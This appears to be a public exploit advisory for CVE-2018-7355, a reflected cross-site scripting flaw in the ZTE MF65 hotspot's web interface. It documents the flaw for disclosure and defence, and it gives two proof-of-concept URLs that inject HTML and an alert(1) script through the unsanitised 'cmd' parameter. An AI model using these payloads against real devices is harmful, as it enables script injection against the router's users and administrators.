ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting

# Exploit Title: Reflected Cross-Site Scripting on ZTE MF65
# Date: 01/09/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483
# Version: BD_HDV6MF65V1.0.0B05
# Tested on: Windows 10 x64
# CVE: CVE-2018-7355

*Description

The Mobile Hotspot having the said firmware version doesn’t sanitize the input argument "cmd" used in the page "/goform_get_cmd_process". A malicious input held by the parameter in the URL could result to client-side script execution or HTML code injection.

*Proof of Concept

http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<b>ZTE_MF65_HTML_INJECT</b>
http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<script>alert(1)</script>

*Mitigation

None - ZTE recommends upgrading to a new product (http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483)